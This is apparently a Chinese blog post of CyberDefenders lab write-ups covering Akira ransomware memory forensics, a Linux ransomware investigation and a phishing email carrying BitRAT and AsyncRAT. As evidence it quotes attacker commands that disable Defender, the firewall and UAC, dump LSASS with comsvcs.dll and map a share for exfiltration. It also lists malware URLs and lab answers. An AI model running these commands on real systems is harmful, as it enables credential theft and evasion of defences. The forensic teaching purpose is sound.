  1. 前两个命令将防火墙规则附加到启动脚本( /etc/rc.d/rc.local/etc/init.d/xfs3 ),确保跨系统重启时防火墙规则保持不变。
  2. 最后一条命令通过 iptables 直接应用该规则,立即阻断TCP端口 45295 的流出流量。

iptables 命令中的 -I OUTPUT 1 选项将该规则插入到输出链的顶部,确保其优先级高于其他规则。 -p tcp 选项表示该规则适用于TCP流量, --dport 45295 标志指向特定的目的端口 45295-j DROP 动作导致防火墙对匹配规则的报文进行静默丢弃。

答案:45295

Akira Lab(内存取证)(注册表分析)

作为DFIR团队的一员,您的任务是调查涉及Akira勒索软件的一次勒索软件攻击,该攻击已经影响了关键系统。你得到了一台被入侵机器的内存转储文件。您的目标是分析内存中的妥协指标,跟踪勒索软件的入口点,并识别任何恶意活动,以评估事件并指导响应策略。

要VIP

原文地址:Akira Lab. Link… | by 0xShokry | Feb, 2025 | MediumAkira-实验室-CyberDefenders|措夫斯莫基 --- Akira-Lab-CyberDefenders | tsof-smoky

Q1:在分析内存转储时,识别受攻击机器的网络域从属关系是了解攻击范围的关键步骤。受感染机器加入的域是什么?

你需要找到机器连接的域名。这有助于分析系统,评估攻击的范围,并识别错误配置,特别是在多主机事件中。

检查域名注册表路径:HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters

这个表揭示了域名,提供了对网络关系和攻击影响的洞察。

首先使用memprocfs分析提供的内存转储:

memprocfs -device memory.dmp -forensic 1 -license-accept-elastic-license-2-0

-device memory.dmp

  • 指定要分析的内存转储文件,这里是 memory.dmp
  • 该文件通常是 Windows 崩溃转储(Crash Dump)物理内存转储(如 winpmemdumpit 生成的)。

-forensic 1

  • 启用取证模式(Forensic Mode),防止修改转储文件,以确保数据完整性。
  • 在取证分析中,这一点很重要,因为任何对原始数据的修改都可能影响证据的合法性。
  • 2:更高级的取证模式(可能提供更多细节或增强保护)

-license-accept-elastic-license-2-0

  • 自动接受 Elastic License 2.0 许可协议,避免手动确认。
  • 这样可以直接运行 memprocfs,无需交互式确认许可条款。

一旦执行,这就允许将内存转储作为虚拟文件系统进行访问以进行调查。

img

img

取证模式下的MemProcFS从内存中提取关键数据,辅助时间轴分析。由于操作系统缓存文件系统数据,内存转储可能包含最近的文件、注册表项和目录结构。

挂载后(例如,使用M:),导航到:

M:\registry\HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters

domain.txthostname.txt这样的文件可以显示域名(Cydef.enterprise)和主机名(Shareserver)。这有助于评估机器的重要性以及与Akira等威胁角色的潜在联系。

img

img

img

答案:Cydef.enterprise

Q2:识别攻击者访问的共享文件路径对于了解入侵范围和确定哪些文件可能被入侵至关重要。在文件服务器上共享的文件的本地路径是什么?

由于这是一个共享服务器,它可能有可通过网络访问的目录。了解这些共享资源有助于识别可能被攻击者利用的错误配置。

查阅共享文件注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares

勒索软件通常通过共享文件夹和映射驱动器传播,对可访问文件进行加密。识别共享路径有助于隔离受影响的系统并防止进一步传播。

转到M:\registry\HKLM\SYSTEM\ControlSet001\Services\LanmanServer\Shars

data.txt文件包含共享文件路径(path =Z:\Shares\data)和共享名称(ShareName=data)等详细信息,帮助映射受影响的资源。

img

img

答案:Z:\Shares\data

Q3:识别RDP连接失败的来源对于追踪被入侵机器和分析攻击者的行为至关重要。试图连接到文件服务器的机器的IP地址是什么?

尝试RDP连接到文件服务器失败的机器的IP地址。识别这个IP有助于追踪潜在的受攻击系统,并了解攻击者在网络中的移动。

在事件查看器中查看安全事件日志:

  • 事件ID 4625→记录用户登录失败,包括源IP。
  • 事件ID 1149→记录RDP连接成功和失败的IP详细信息。

由于日志可能缓存在内存中,因此在将它们写入磁盘之前将其提取出来是至关重要的。在从内存快照(例如M:\misc\eventlog)中检索到的日志上使用Evtxcmd来分析瞬时事件。

要解析这些日志,首先要将它们复制到一个可访问的位置(例如,桌面),然后使用这个命令:

EvtxECmd.exe -d C:\Users\Administrator\Desktop\eventlog --csv C:\Users\Administra

该命令将Windows事件日志提取并转换为CSV格式进行分析:

  • -d C:\Users\Administrator\Desktop\eventlog→事件日志文件所在的目录。
  • --csv C:\Users\Administrator\Desktop\out →将提取到的日志以CSV格式保存到指定的输出位置。

这使得分析安全事件(例如失败的RDP尝试)变得更容易。

img

img

该命令处理指定目录下的事件日志,并将结果导出为CSV文件。这些文件可以使用Excel或Timeline Explorer等取证工具进行分析,以进行更深入的调查。

img

img

在Timeline Explorer中打开.csv文件以可视化事件时间线。它有助于以清晰的、按时间顺序排列的视图跟踪用户操作、系统事件和潜在威胁。

使用搜索栏找到事件ID 4625,并检查最后两个失败的RDP尝试:

  • 远程主机:HELPDESK(192.168.60.129)→一个名为HELPDESK的设备尝试连接。
  • 目标:CYDEF\Admin和HELPDESK\Mady→尝试登录时使用的用户名。

这表明被入侵的机器与它相连,可以了解攻击者的行为,但却无法通过RDP登录。

img

img

答案:192.168.60.129

Q4:识别攻击者工具的进程名是跟踪其行为的关键。攻击者用来在受攻击的FileServer上远程执行命令和执行恶意活动的工具的进程名是什么?

攻击者使用合法的工具(如PsExec和WMIC)进行远程命令执行。了解这些工具有助于评估攻击的范围并改进防御。

在内存转储的进程树中,包括隐藏的、终止的和活动的进程,以跟踪任何可疑的远程执行活动。

最初,检查装载的映像(M:\name)显示没有活动的远程进程。为了深入挖掘,用volatility来发现隐藏或终止的进程。psscan插件帮助检测活动和终止的进程,揭示潜在的恶意活动。

python vol.py -f memory.dmp windows.psscan

img

通过这次扫描,我发现了一个链接到PsExec(一个用于远程命令执行的工具)的进程。在内存转储中,PsExec通常在三个方式出现:

  • PsExec服务(PSEXESVC.exe):支持远程执行的临时服务。
  • 进程和命令历史:执行命令的跟踪(例如,cmd.exe)。
  • 网络连接:机器之间通信的指示器,帮助追踪攻击者的移动。

PSEXESVC.exe的进程ID为1104,用于跟踪远程执行。由于PsExec以管理员权限运行,它授予攻击者重大的控制权。为了进一步分析,我使用以下命令过滤PID 1104的结果:

python vol.py -f memory.dmp windows.psscan | findstr "1104"

img

由PsExec生成的svchost.exe是不寻常的,可能表明有勒索软件活动。攻击者经常重命名进程以逃避检测。这个过程在UTC时间2024年9月18日12:01:30运行。

答案:PSEXESVC.exe

Q5:通过识别攻击者的初始命令,可以了解他们的意图和获得的访问权限。开始系统枚举时,第一个远程执行的命令是什么?

攻击者在被入侵机器上的活动,专注于系统枚举、防御逃避和凭证转储来重构他们的步骤。

遗留在系统日志中的构件。Sysmon .exe的存在表明Sysmon正在运行,它提供了详细的事件跟踪,可以分析攻击者的行为。

一种简单的方法是搜索内存提取的日志,重点是PSEXESVC.exe,这是一个与攻击者链接的服务。按时间顺序排序日志有助于逐步跟踪它们的操作。

img

tasklist : 列出系统中所有正在运行的进程,提供进程id、内存使用等详细信息。

答案:tasklist

Q6:了解攻击者如何使安全措施失效是评估他们如何获得持久性和削弱系统防御的关键。攻击者使用了一个远程执行工具,它会为每条执行的命令生成一个不同的进程ID (PID)。关闭Windows防御系统的第一个命令的进程ID (PID)是什么?

寻找关键词MpPreFerence寻找Windows Defender 相关设置

Pasted image 20241002104653

禁用Windows Defender和防火墙

禁用Windows Defender:

  • Set-MpPreference -DisableRealtimeMonitoring 1 →停止实时监控(PID 5344)。
  • Set-MpPreference -DisableBlockAtFirstSeen 1 →关闭“第一次就阻止”。"
  • Set-MpPreference -DisableIOAVProtection 1 →禁用Internet文件保护。
  • sc stop WinDefend→停止Windows Defender。
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f →禁用AntiSparkling。

禁用防火墙和UAC:

  • netsh advfirewall set allprofiles state off →关闭防火墙。
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f →禁用用户帐户控制(UAC)。
  • sc qc WinDefend→检查Defender配置。

答案:5344

Q7:识别对系统注册表的更改对于了解攻击者如何禁用安全功能,从而允许恶意操作在未被检测到的情况下进行至关重要。在尝试禁用Windows Defender时,攻击者修改了特定的注册表值。在HKLM\SOFTWARE\Policies\Microsoft\Windows Defender下添加或修改的注册表值的名称是什么?

Pasted image 20241002104750

"reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

这个命令通过添加注册表项来禁用Windows Defender的DisableAntiSpyware功能:

  • reg add →添加一个新的注册表项。
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender →Windows保护程序设置的注册表路径。
  • /v DisableAntiSpyware →要修改的值名称。
  • /t REG_DWORD →设置值类型为DWORD(整型)。
  • /d 1 →设置为1,表示禁用防间谍软件功能。
  • /f →强制修改,无需确认。

答案:DisableAntiSpyware

Q8:了解攻击者如何利用特定的系统文件是至关重要的,因为这可以揭示他们访问敏感数据和提升权限的方法。攻击者在PowerShell命令中使用了什么DLL文件来转储目标进程以便进行进一步的攻击?

在Sysmon日志中,攻击者试图转储LSASS(本地安全机构子系统服务)进程以捕获凭据,然后试图将转储文件泄漏到另一台计算机。

img

攻击者试图转储lass内存以获取凭据并将文件发送到另一台计算机:

powershell.exe -command "rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump ((Get-Process lsass).Id) C:\windows\temp\lsass.dmp full"
  • 使用comsvcs.dll将LSASS内存转储到 lsass.dmp
  • 这可以显示存储的凭据,帮助提升权限。

然后导出转储文件:

cmd.exe /c "net use Z: \\HelpDesk\Dump_out"

将网络驱动器 Z: 映射到 \HelpDesk\Dump_out,可能用于将 lsass.dmp 外传到远程机器。

答案:comsvcs.dll

Q9:调查新账户的创建对于识别攻击者如何维护对系统的非授权访问至关重要。为了建立持久访问,攻击者在被入侵的系统上创建了一个新的用户帐户。攻击者创建的账户名是什么?

攻击者可能会创建一个用户帐户来保持访问权限,以防他们失去对被入侵机器的控制。跟踪这个活动有助于理解它们的持久性机制。

  • 事件ID 4720→创建用户账号
  • 将时间戳与其他攻击阶段联系起来,可以增强证据。

img

img

  • 通过搜索事件ID 4720发现账号ITadmin_2,创建时间为20124-09-18,时间为11:51:41。
  • 这与攻击时间线一致,确认CYDEF\Administrator创建了帐户ITadmin_2
  • 虽然磁盘痕迹可以揭示更多信息,但这次调查的重点是内存分析。

答案:ITadmin_2

Q10:识别勒索信中的URL对于了解攻击者的通信和数据暴露威胁至关重要。攻击者提供了一个链接到他们的博客,如果谈判失败,窃取的数据将被公布。提供给攻击者通信和访问聊天的URL是什么?

用于与攻击者通信的URL,可能指向勒索信、聊天或支付门户。这可以作为妥协的指示器(IOC)或帮助跟踪Akira勒索软件活动。

  • 字符串分析:对内存转储运行 strings 命令可能会显示明文url。
  • 威胁情报:将发现与Akira勒索软件使用的已知url进行比较。

在内存转储文件中使用 strings 可以暴露.onion地址,勒索软件组织经常使用该地址进行暗网通信。

 strings.exe .\memory.dmp > out.txt

这有助于定位可能表明攻击者活动的url、文件路径、命令或勒索信息。

img

img

img

Stealthy Ascent Lab(端点取证)

作为防御者解决方案公司的网络安全分析师,您已经注意到该公司一个关键Linux服务器上的可疑活动。最初的报告显示,攻击者可能利用一个隐藏的后门获得了root权限。

你的任务是彻底调查服务器,找出攻击者提升权限和保持权限的方法。您的分析对于识别妥协的程度和保护系统免受未来攻击至关重要。

要VIP

原文地址:Challenge Write-Up: Stealthy Ascent Lab — CyberDefenders | by Hassan J | Medium

Q1:攻击者的电子邮件地址是什么?

装载磁盘镜像:

sudo mount -o loop LinuxServer.img /mnt

然后进行分析

在成功挂载系统映像之后,开始收集信息以识别威胁执行者执行的活动。我的初始步骤包括列出用户目录和根目录中的文件,以熟悉文件系统并确定当前存在的文件。观察了扩展名为.enc的文件,这表明可能由于勒索软件而加密。这个假设通过定位一个包含勒索信的文本文件得到了验证,勒索信要求支付解密数据的费用。

img

回到问题,攻击者使用了网络钓鱼技术来获得初始访问权,尽管这还没有完全得到证实。据称,攻击者向用户发送了恶意邮件。虽然用户从Linux服务器登录电子邮件并不常见,但考虑到实验室环境,我们将继续进行此场景。

首先检查了常见的邮件日志(/var/log/mail.log),以查找一般的电子邮件活动和/var/spool/mail/中的邮件队列,但什么也没有发现。

在查看用户的bash历史记录时,我发现在用户的主目录中有一个名为thunderbird的子目录。由于Thunderbird是一个免费、开源的电子邮件客户端,它很可能被用来访问电子邮件。

img

此外,攻击者还使用unshadow命令合并了/etc/passwd/etc/shadow文件,这表明攻击者试图破解密码散列并破解系统凭据。进一步的分析表明,攻击者部署了一个持久化服务并执行了二进制文件。Elfransomware.sh,两者都可能与恶意软件和勒索软件活动有关。

我检查了雷鸟的电子邮件日志,发现这封钓鱼邮件是从inf0.s3c1337@gmail.com发出的,标题是“紧急安全”。这封电子邮件以保护系统安全为借口,诱使用户打开了一个名为Important.docx的附件。

img

用户收件箱中包含钓鱼邮件的消息

img

答案:inf0.s3c1337@gmail.com

Q2:攻击者发送给受害者的附件名称是什么?

在上一个问题中找到

答案:Important.docx

Q3:攻击者用来在受害者的机器上下载恶意文件的完整URL是什么?

为了回答这个问题,我进行了一个快速的恶意软件分析,提取了附件试图通信的url。我使用了CyberChef,这是一个通用的数据处理工具,不需要高级的恶意软件分析技能。

对base64编码的附件进行解码,得到一个zip文件头(PK)。我解压文件并使用“提取url”操作来识别两个恶意url:

· hxxp://203.0.113.10/update.sh

· hxxp://203.0.113.10/malicious.elf

img

尽管如此,这些url并不是正确的答案。这令人费解。然后我检查了Firefox浏览器日志,并从这些地方提取了url。Sqlite文件位于/home/t3m0/.mozilla/firefox/644f119k.default-release/。没有任何可疑的东西出现。

接下来,我研究了sessionstore-backups目录,该目录保存了上次浏览器会话的会话恢复数据。由于没有安装lz4工具,我使用ddlzcatlzma等命令手动解压会话文件,但是不断遇到错误。作为最后一次尝试,我使用了strings命令,它显示了URL: “ 192.168.190.129/update.sh ”。这被证明是正确的答案,尽管本地IP表明挑战创建者可能从他们自己的实验室环境中设置了它。

img

Q4:创建持久化的路径是什么?

根据最初的发现,调查未经授权的SSH登录,以建立入侵的时间线。日志显示,服务器从7月30日开始监听22端口(SSH),用户“t3m0”从内部IP 192.168.190.129登录

img

通过检查sudo日志来检查权限提升活动。我发现几个可疑的sudo命令在SSH登录的同一时间内执行。这些命令包括安装诸如curl、gcc和openssh-server之类的二进制文件,它们强烈表明存在恶意活动。这些二进制文件是在执行名为update.sh的bash脚本之后安装的。此外,我发现有证据表明已经创建了一个防火墙规则来允许SSH通信,并且执行了工具john (john the Ripper)来破解用户密码。进一步的分析表明,创建了一个持久化服务作为系统的后门。

img

一个重要的观察结果是,在恶意活动发生后,机器已经重新启动。这很重要,因为它表明有价值的取证工件,如内存内容、活动的网络连接和正在运行的进程,在重新启动期间丢失了。

img

在检查了持久化机制之后,我发现创建了一个恶意服务。在persistence.service( Linux 系统中的 持久化(Persistence)相关的 systemd 服务)这个服务被设计用来执行位于/tmp文件夹中的bash脚本,这是持久化策略的一部分。这种服务的存在强化了攻击者试图长期访问被入侵系统的想法。

img

答案:/etc/systemd/system/persistence.service/

Q5.创建或修改持久化文件以保持攻击者访问的路径是什么?

由上题分析可知

答案:/tmp/P3r515t3nc3.sh

Q6:浏览器检测到可疑行为。与安全浏览相关的文件名称是什么?

为了找到与安全浏览相关的文件,我使用find命令定位相关目录

img

img

在上面的截图中可以看到4个文件可能与可疑行为相关联。然而,根据出题人提供的提示,答案的一部分将包含“goog. o”。并包含两个文件,我通过反复试验推导出了答案。

答案:goog-badbinurl-proto.vlpset,goog-phish-proto.vlpset(注:没有任何理由解释为什么只有这两个文件只与可疑行为和安全浏览有关)

Q7:攻击者第一次成功连接到受害者是什么时候?

由Q4分析可知

cat var/log/auth.log | grep sshd

答案:30/07/2024 13:51:47

(攻击者首先通过SSH连接的IP地址是192.168.190.129,从SSH日志中可以看到Q3的IP地址相同)

Q8:使用扩展名解密文件夹的文件名称是什么?

除了 Bash 历史记录,我还检查了 recently-used.xbel 文件,该文件提供了最近使用和创建的文件信息。我的分析显示,以下文件曾被创建和访问:

  • file:///home/t3m0/Downloads/update.sh 是通过 Firefox 下载的,这表明该文件是从互联网获取的,并在创建后被执行。
  • file:///home/t3m0/Desktop/ransomware.sh 在创建后不久被访问。然而,当我之前检查用户的桌面时,该文件已不存在。
  • file:///home/t3m0/Downloads/README_FOR_DECRYPTION.txt 是勒索软件的提示信息文件。
  • file:///home/t3m0/Downloads/suid_shell.c 似乎是一个 SUID shell 的源代码文件,不过目前该文件已被加密。

img

由于在用户的桌面目录中没有找到ransomware.sh文件,我检查了删除的文件,以确定它是否仍然存在于系统中。幸运的是,我在回收站找到了这个文件。经过检查,我确认这确实是一个包含加密密钥s3cr3t_k3y的勒索软件脚本。

img

答案:ransomware.sh(这个问题似乎是错误的,因为根据攻击的上下文,它应该是请求加密文件夹的文件)。

Q9:解密文件夹的文件的原始路径是什么?

由上题分析可知

答案:/home/t3m0/.local/share/Trash/files/ransomware.sh

Q10:攻击者用来解密文件的加密密钥是什么?

由上上题分析可知

答案:s3cr3t_k3y

Q11:攻击者从受害者那里提取密码并存储在一个文件中。这个文件的名字是什么?

img

答案:unshadowed.txt(该信息可以在用户的bash历史记录中找到)。

Q12:攻击者在文件被解密时使用脚本生成了一个shell。生成shell的脚本中的用户ID和命令是什么?

我研究了用户下载文件夹中的SUID shell的源代码,但它是加密的。使用之前收集的信息,我尝试使用openssl命令密钥和算法解密文件,但遇到了错误。经过几个变通方法,我编写了一个自定义解密脚本,它成功地解密了文件,揭示了用于生成shell的用户ID和命令。

#!/bin/bash
x="/mnt/home/t3m0/Downloads"
e="s3cr3t_k3y"
find "$x" -type f -name "*.enc" -exec bash -c '
 for file; do
  output_file="${file%.enc}"
  openssl enc -d -aes-256-cbc -salt -in "$file" -out "$output_file" -k "$e" &&
 rm -f "$file" && echo "Decrypted: $file to $output_file" || echo "failed to decrypt: $file"
 done
' bash {} +
echo "Decryption process completed"

img

答案:0,/bin/sh

PhishStrike Lab(恶意邮件)

作为一名教育机构的网络安全分析师,你会收到一封针对教职工的网络钓鱼邮件警报。这封电子邮件似乎来自一个可信的联系人,声称购买了62.5万美元,并提供了下载发票的链接。

你的任务是使用威胁情报工具调查这封邮件。分析电子邮件头,并检查链接的恶意内容。确定任何妥协的指标(IOCs),并记录您的发现,以防止潜在的欺诈,并教育教师识别网络钓鱼。

Q1:通过特定的SPF和DKIM值识别发送者的IP地址有助于追踪钓鱼邮件的来源。SPF值为softfail、DKIM值为fail的发送方IP地址是什么?

使用SysTools EML Viewer对钓鱼邮件进行分析

发件人策略框架SPF (Sender Policy Framework)和DKIM (DomainKeys Identified Mail)是增强邮件安全性的邮件认证协议。SPF验证邮件服务器是否被授权代表域名发送邮件,DKIM通过加密签名保证邮件内容的完整性。

image-20250324155957597

i=2; mx.microsoft.com 1;		 spf="softfail (sender ip is 18.208.22.104) smtp.rcpttodomain=fsfb.org.co smtp.mailfrom=uptc.edu.co";		 dmarc="none action=none header.from=uptc.edu.co";	 dkim="fail (no key for signature) header.d=uptc.edu.co";	 arc="fail (35)"

在这种情况下,分析报头可以发现发送方的IP地址为 18.208.22.104 ,其SPF值为softfail,DKIM值为“fail

SPF中的softfail表示发送服务器没有明确授权,但仍然可以代表该域发送电子邮件。

DKIM失败表明电子邮件签名丢失或无效,证实了欺骗的可能性。

补充:也可以使用PhishTool | Dashboard对钓鱼邮件进行分析

image-20250324162421038

Q2:了解电子邮件的返回路径对于追踪其来源至关重要。这封邮件中指定的返回路径是什么?

电子邮件中的 Return-Path 头用作发送跳变或错误消息的地址。它在追踪电子邮件的来源和识别可能伪造的消息方面起着至关重要的作用。

image-20250324160539310

在这封钓鱼邮件中,返回路径被指定为 erika.johana.lopez@uptc.edu.co 。一个看起来合法的地址可能会产生误导,攻击者经常利用它来获得收件人的信任。然而,其他报头的异常,例如失败的SPF和DKIM检查,引起了对该返回路径真实性的怀疑。

Q3:识别恶意软件的来源对于有效缓解和应对威胁至关重要。用于托管与恶意软件发布相关的恶意文件的服务器的IP地址是什么?

邮件正文中指出,邮件中链接的恶意文件的IP地址是 107.175.247.199 。恶意URL指向的可下载文件通常是恶意软件的载体。威胁情报工具证实,该IP与各种网络攻击中使用的可执行文件的托管有关。通过将这个IP地址映射到其托管活动,分析人员可以评估其威胁级别,并建议立即拆除或封锁组织防火墙,以防止感染。

image-20250324160646485

可以把所有HTML内容复制保存为.html文件进行预览:

image-20250324160737624

Q4:识别利用系统资源进行加密货币挖掘的恶意软件对于优先考虑威胁缓解工作至关重要。恶意URL可以传递多种恶意软件类型。哪个恶意软件家族要为加密货币挖矿负责?

钓鱼邮件中提供的URL提供了各种恶意软件,其中一种被识别为加密货币挖矿恶意软件家族的一部分。根据URL Haus提供的威胁情报:

image-20250324161132180

该恶意软件属于 CoinMiner 家族。CoinMiner旨在利用系统资源进行未经授权的加密货币挖矿,影响受感染系统的性能,并构成重大的操作风险。识别这种威胁可以优先考虑缓解措施,包括隔离受影响的系统和实施可靠的端点保护,以防止资源滥用。

Q5:识别恶意软件请求的特定url是破坏其通信渠道并减少其影响的关键。根据之前对加密货币恶意软件样本的分析,这个恶意软件请求的URL是什么?

从上题得到的HASH值进行搜索:

image-20250324162617422

image-20250324162726224

经过分析的加密货币恶意软件会请求url下载额外的有效载荷或配置文件。从威胁情报报告中,可以发现恶意软件会访问URL http://ripley.studio/loader/uploads/Qanjttrbv.jpeg 来检索其他组件,方便其操作和持久化。

Q6:理解恶意软件添加到自动运行键中的注册表项对于识别其持久性机制至关重要。基于BitRAT恶意软件样本分析,注册表自动运行键的第一个值中可执行文件的名称是什么?

持久性是通过添加注册表项来实现的,使恶意软件能够自动与系统一起启动。

在WALWARE bazzar中寻找其ANY RUN报告:

image-20250324163500629

image-20250324163641211

在ANY RUN中发现BitRAT恶意程序使用可执行文件 Jzwvix.exeHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 创建了一个条目。这确保了恶意软件即使在系统重启后仍然活跃。

image-20250324163909643

Q7:识别从恶意URL下载的文件的SHA-256哈希值对于跟踪和分析恶意软件活动至关重要。根据BitRAT分析,之前下载并添加到autorun密钥中的文件的SHA-256哈希值是多少?

继续分析ANY RUN中的报告,恶意软件运行流程中(恶意软件可能被多次执行,导致 Windows 分配了不同的 PID)可以发现其中第一个调用了Jzwvix.exe,要了解第二个过程,可以查看其进程:

image-20250324172635643

该程序修改了注册表 (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run),添加了 PUTTY.EXE 作为开机自启动项。

PUTTY.EXE的哈希值即为答案

Q8:分析恶意软件发出的HTTP请求有助于识别其通信模式。加载器用于检索BitRAT恶意软件的HTTP请求中的URL是什么?

AsyncRAT加载器使用HTTP GET请求来获取BitRAT负载。具体来说,通过访问 http://107.175.247.199/loader/server.exe 来下载恶意文件。

image-20250324173819150

Q9:在恶意软件执行中引入延迟可以帮助逃避检测机制。根据BitRAT分析,PowerShell命令的延迟是多少(秒)?

可以发现恶意软件执行了PowerShell命令

image-20250324173933067

image-20250324174017804

Q10:跟踪恶意软件使用的命令和控制(C2)域对于检测和阻止恶意活动至关重要。BitRAT恶意软件使用的C2域名是什么?

在ANY RUN报告中查看BitRAT恶意软件的网络连接情况:

image-20250324174158598

Q11:了解恶意软件如何泄露数据对于检测和防止数据泄露至关重要。根据AsyncRAT分析,这个恶意软件使用的Telegram Bot ID是什么?

Telegram机器人由于易于使用和加密通信,越来越多地被恶意软件操作人员用于数据导出和命令执行。

WP说要在tria.ge的报告中分析:

image-20250324180432900

查看其行为:

image-20250324180702763

通过分析可知,AsyncRAT恶意程序使用的Telegram Bot ID为 bot5610920260 。该ID便于通过Telegram API进行通信,使攻击者能够接收更新或被盗数据。

image-20250324180549248

posted @ 2025-02-15 23:52  Super_Snow_Sword  阅读(992)  评论(0)    收藏  举报